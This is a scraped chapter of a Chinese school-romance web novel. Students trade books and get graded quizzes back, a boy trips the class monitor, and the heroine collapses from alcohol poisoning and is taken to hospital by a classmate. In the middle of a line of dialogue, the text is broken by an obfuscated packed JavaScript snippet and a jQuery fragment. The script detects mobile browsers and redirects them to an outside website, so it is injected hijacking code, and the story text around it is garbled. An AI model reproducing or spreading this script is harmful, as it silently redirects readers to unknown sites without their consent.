18. 第十八章
作品:《后排靠窗的同学也想上985》 “你这书还这么新呢,拿来跟我换换呗?”
许恒然扭头,亲眼看着程珩搬了一堆崭新的书进来,放到了桌子上。
程珩轻哼出笑,扫一眼他:“我傻吗我跟你换。”
“没必要换,你的书也是新的啊,”乔欣鱼笑着对许恒然说:“就是书皮又脏又乱,里面新得跟刚发似的,一个字都没有。”
“胡说,名字不算字?”
“昨天收上来的随堂小练老师已经批改完了,现在给同学们发下去。”
闻姝音从前门走进来,怀里抱了一叠练习题,一堆密集的黑色字体上覆盖着红笔批改的痕迹。
许恒然闻言愣了愣,“什么随堂小练啊?我怎么不知道?”
“昨天数学老师发那个,你睡着了,课代表来收的时候我替你交上去了。”乔欣鱼说。
“啊?”他惊叫出声,“我一个字还没写呢,你怎么不叫醒我啊?那是张空白的啊!”
“谁管你啊,当时人家都到这了,我还叫醒你,让人家等着你抄吗?”
“温折春。”
闻姝音叫到了温折春的名字,抬起头来寻找她,等了半天也没人应。
温折春此时正靠着里根睡死过去,脸埋在臂弯里,什么都听不见,专注于睡觉了,桌子上的东西放得很凌乱,上节课用的笔笔帽都忘了盖。
闻姝音又喊了第二声,依旧无人回应。
宋屿轻飘飘看了她一眼,举起了右手:“这里。”
闻姝音走过去放到她桌子上,正巧下面一张就是宋屿的满分测试,她顺手也给了他。
温折春的那张偏着放在桌角,上面是红笔判下的鲜艳醒目的“30”这个数字,分数旁边,数学老师写了一句话:上课不听课吗?都是讲过的!
单看每一个字的每一个笔画之间的缠绕程度都能看出来写下的时候饱含着的气愤。
而从温折春做题的笔迹来看,尽显不上心,选择欻欻几下瞎填完了,填空四个小题全都空着。卷子两边是无聊的时候画上去的小东西。
“……”
宋屿目光停住,她第一道答题的解题过程怎么那么眼熟?又是直接复制粘贴?
温折春像是睡得不舒服了,垫在脑袋下的胳膊动了动,无意间将那根没盖笔帽的笔蹭到了测试卷子的一边,笔尖正对着它,逐渐染出了一个黑斑。
宋屿呼吸微滞,心头掀起一阵微妙的焦躁。
他收敛视线,握起笔杆子想要用刷题来转移注意力,可是写了几个字之后发现不仅没有压制住那点躁动,反而更为难耐了。
他认命地舒出口气,拿起来那支笔盖上帽,把她的卷子摆正,以及桌子上剩余的那些乱七八糟放的文具,把它们一个挨一个排成一支队伍。
真是荒诞……
“乔欣鱼。”
闻姝音念到了乔欣鱼,把卷子递给她,下面一张是靠门一列的一个同学,她拎着卷子往后走,想要绕过后排去到那一列。
程珩后背靠在椅子上,抖着一条腿,模样悠闲。
他抬眼朝闻姝音看过去,只见她将注意都放在了卷子上,完全没有注意脚下,尤其是程珩故意使坏伸出来的拦在她面前的一条腿。
结果当然是意料之中,闻姝音被他绊得往前踉跄几步,手抵住后面的黑板才得以重新站稳,她一向冷淡的眉眼终于是多出了几分烦扰,更抓紧了还没发下去的卷子以防它们从手中掉落。
程珩觉得好玩儿,忍不住笑出声来,胳膊交叉搭在桌子上,刻意地低下头遮掩笑意。
闻姝音心中烦闷,但也懒得理会,站在原地盯了他几秒钟,拍两下裤腿上沾到的灰尘走开了。
“你怎么欺负我们班长啊你?”许恒然恰好回头看见这一幕。
“谁欺负她了?”程珩边笑着边把玩着手里一根笔,“看清楚怎么回事了吗你就说,我腿本来就伸在这儿,她自己不注意非要踩过来,我也没办法喽。”
班长什么的,最会打小报告和讨好老师了……
-
“咔吧。”
是订书机订纸的声音,在空荡荡的教室里尤为明显。
宋屿将最近发的十几张卷子整理到了一起,一并放进了课桌下的抽屉里。
此时距离放学已经过去了十分钟,周边除了一个仍然在闷头大睡的温折春外再无旁人,宁静极了。
怎么会有人这么能睡觉。
宋屿发自内心地觉得佩服。
她这已经将近趴了一整个下午吧。
他迟了十分钟再走,是因为留下来做完了布置的作业里最后一道题,因此回家就没必要再背书包了,省力一些。
而温折春则是真的一直安静地趴在这里。
期间经过了放学时雷鸣一般刺耳的铃声和四周的人大声讲话和喊叫的声音,仍然不曾动弹。
好像没人喊醒她,她就会一直这么睡到明天早上一样。
宋屿伸过去手,指关节在她桌子上敲了敲,发现没什么用,于是拿起来一根笔轻轻戳了戳她的肩膀。
“喂,醒一醒。”
温折春终于有了点意识,动了动,从毛躁的一堆头发里抬起了头。
“放学了。”他好心提醒她一句,说完就站起身准备走了。
然而步子还没迈出去,衣角被人连带着拉链一起抓住,身后传来一句:“等……等一下。”
温折春的脸上是遮不住的苍白,头顶炸了一片碎毛,眼尾晕红,全然不见了平日里张牙舞爪的模样,一副病恹恹的样子。
“我好像真的酒精中毒了……”
“?”
头晕得几乎要站不起来了……
晚八点多,在这个市医院特别挤的时间点,经过几番折腾后,温折春终于在急诊室打上了点滴。
她半躺不躺地靠在那里,脑袋晕沉沉,嘴唇没有一点血色,目光呆滞地看着手背上扎针的地方。
宋屿从缴费窗口领了收据,转身往她这边走。
他还说呢,怎么有人能一动不动地睡那么长时间,原来是晕过去了……
可真有她的。
温折春目不转睛地盯着他手里的收据单,声音虚弱:“多少钱,我回去转给你。”
“不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828187|175301||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
需要。”宋屿说。
好吧……温折春头靠到后面,闭上了沉重又发热的眼皮子。
耳边是悉悉索索的小动静,她嫌睡觉睡得头疼,眼睛没闭上一会儿又艰难地睁开了。
左边邻床上是一个满头白发的老人,家属朋友坐在旁边沉沉欲睡,右边床上是一个睡着的小孩,孩子的妈妈正坐在底下的一个椅子上削水果。
到处都很安静。
好不容易,温折春的眼睛寻到宋屿时,他却已经朝外走出了急诊室的大门,背影显得决绝,一步也不带停留。
她心一慌,连忙坐直想开口叫住他,无奈这时有个陌生人从她眼前穿过,挡住了她的视线和即将呼之欲出的话语,再一转眼,人就彻底不见了。
温折春呆呆地凝望几秒,突然觉得难过又绝望。
……就这么走了?
她出来的时候没背包,身上没带钱啊!
要怎么回家啊!
留下点什么也行啊!帮人帮到底吧?怎么排上之后就把她一个人丢到这里了?
从这里往窗户外面看,外面的天色已经是一片黑,只不过市医院处在人流最密集的地方,因此到处都有灯火,不远处的一个小区里,栋栋建筑都亮着灯。
温折春浑身无力,在床上躺了好大一会儿。
身体上的不适导致心理更加脆弱,温折春静静地望着天花板,不知怎么脑中突然浮现了妈妈的面容,和很小的时候牵着爸爸妈妈的手一起去动物园的场景。
也许是那时过的太幸福了,导致她一不小心把整个人生中的幸福日子都过完了。
眼眶里立刻蓄满了泪水,烫烫的,鼻头发酸,泪珠啪嗒啪嗒地往下掉,脑子有点缺氧得发疼。
她哭得泪光盈盈的,哭得眼睛都是红的,好像带着脸上也有了血色,表情也神奇地换过来换过去,一会儿愤怒一会儿难过。
宋屿再次回来时看到的就是这样一副场面。
这是不难受了,还是太难受了……?
他带着疑惑走过去,将刚买回来的吃食顺手放到了床边那个桌子上。
塑料袋里的几个包子是热气腾腾的,面皮上有几处渗出了诱人的红油,香味儿很快就钻进了她的鼻子里,还有一杯看不出是粥还是豆浆的东西。
温折春的泪水一下子止住,想要发泄情绪,痛哭一场的欲望就这么被食欲盖住了。
她吸了吸鼻子,小声问:“这是送给我的吗?”
宋屿开口道:“不是。”
温折春不再讲话。
他过了两秒又改口:“给你的,吃吧。”
“……哦,好吧。”她表现的很平常,好像根本没有多想吃,但身体又很诚实坐起来拿过来迫不及待地咬。
她咽下一口:“对了……我是真的酒精中毒了吗?”
“是。”他这次没骗人。
不过相对来说不是太严重,医生说温折春本身对酒精比一般人敏感,况且还一下子喷了那么多,呼吸的时候吸进去那么多,才会觉得头晕难受。
怎么会有这样的人……
世界好大。